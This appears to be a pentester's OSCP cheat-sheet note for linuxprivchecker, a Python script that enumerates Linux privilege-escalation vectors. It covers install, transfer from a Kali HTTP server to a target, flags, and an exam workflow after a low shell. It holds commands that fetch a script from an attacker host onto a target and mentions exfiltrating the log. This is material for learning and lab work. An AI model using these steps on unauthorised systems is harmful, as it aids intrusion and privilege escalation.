linuxprivchecker
Ctrl+F:
linuxprivchecker.py·-w·-o·-s·python3 -m linuxprivchecker
Repo: sleventyeleven/linuxprivchecker
Original author: Mike Czumak (T_v3rn1x) — @SecuritySift
Maintainer: Michael Contino (@Sleventyeleven)
Run locally on the target to enumerate system info and hunt common privesc vectors: world-writable files, misconfigurations, cleartext passwords, and applicable exploits.
OSCP-safe design: Identifies areas to investigate — does not auto-exploit. Matches OSCP / HTB rules (self-directed exploitation). Use output as a checklist, then exploit manually via Linux.
→ Privesc Tools · lse - Linux Smart Enumeration · linux-exploit-suggester
📌 When to use
| Situation | Action |
|---|---|
| After LinPEAS / lse — want a second opinion | Run linuxprivchecker, compare findings |
| Target has Python but bash enum scripts fail | Python alternative |
| Need a log file for offline grep on Kali | -w -o linuxprivchecker.log |
| Exam box — avoid noisy/auto-exploit tools | This script only lists vectors |
📌 Install / transfer
Python 2.6/2.7 (legacy — single file)
wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
python linuxprivchecker.py -w -o linuxprivchecker.logPython 3.x (pip — recommended on Kali for testing)
pip install linuxprivchecker
linuxprivchecker -w -o linuxprivchecker.log
# or
python3 -m linuxprivchecker -w -o linuxprivchecker.logTransfer from Kali HTTP server
# Kali
wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
python3 -m http.server 8080
# Target
wget http://192.168.45.227:8080/linuxprivchecker.py
python3 linuxprivchecker.py -w -o /tmp/linuxprivchecker.log
# or: python linuxprivchecker.py -w -o /tmp/linuxprivchecker.log📌 Usage & flags
usage: linuxprivchecker.py [-h] [-s] [-w] [-o OUTFILE]
optional arguments:
-h, --help Show help
-s, --searches Skip time-consuming / resource-intensive searches
-w, --write Write a log file (use with -o)
-o OUTFILE, --outfile OUTFILE
Log path (must be writable by current user)
# Full run + log
python linuxprivchecker.py -w -o linuxprivchecker.log
# Faster — skip heavy searches
python linuxprivchecker.py -s -w -o linuxprivchecker.log
# No -w support (old argparser missing) — redirect stdout
python linuxprivchecker.py > linuxprivchecker.log 2>&1Pull log to Kali:
# On target
cat linuxprivchecker.log
# Or exfil via HTTP / base64 / [[File Transfer]]📌 What it checks (investigate, don’t auto-run)
| Category | Examples |
|---|---|
| System info | Kernel, OS, users, groups |
| World-writable files | /etc/passwd, scripts, cron paths |
| Misconfigurations | Weak permissions, risky services |
| Cleartext passwords | Configs, history, env |
| Exploit hints | Kernel / package versions → verify with linux-exploit-suggester and searchsploit |
Maintainer notes: exploit list can be outdated — always confirm kernel/build before running a public exploit. Package→process linking uses keywords and may be inaccurate.
📌 OSCP workflow
1. Low shell → id; sudo -l; uname -a
2. LinPEAS or lse first (**[[Privesc Tools]]** / **[[lse - Linux Smart Enumeration]]**)
3. python linuxprivchecker.py -w -o /tmp/priv.log
4. Grep log for writable, sudo, passwords, kernel
5. Manual exploit path per **[[Linux]]**
6. Kernel candidate? Run **[[linux-exploit-suggester]]** on Kali with uname output
📌 vs other tools
| Tool | Notes |
|---|---|
| LinPEAS | Primary OSCP default — broadest coverage |
| lse.sh | Bash; gradual verbosity levels |
| linuxprivchecker | Python; good structured log; enumerate-only |
| LinEnum | Legacy bash — prefer lse |
| linux-exploit-suggester | Kernel exploit matching — run on Kali, not duplicate enum |
📌 Quick cheat sheet
# Legacy one-file (Python 2/3 on target)
wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
python linuxprivchecker.py -w -o linuxprivchecker.log
python linuxprivchecker.py -s -w -o linuxprivchecker.log # skip heavy searches
# Python 3 via pip (Kali or target)
pip install linuxprivchecker
linuxprivchecker -w -o linuxprivchecker.log
# Fallback log
python linuxprivchecker.py 2>&1 | tee priv.out📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'→ Linux > 📌 1) Basic Manual Enumeration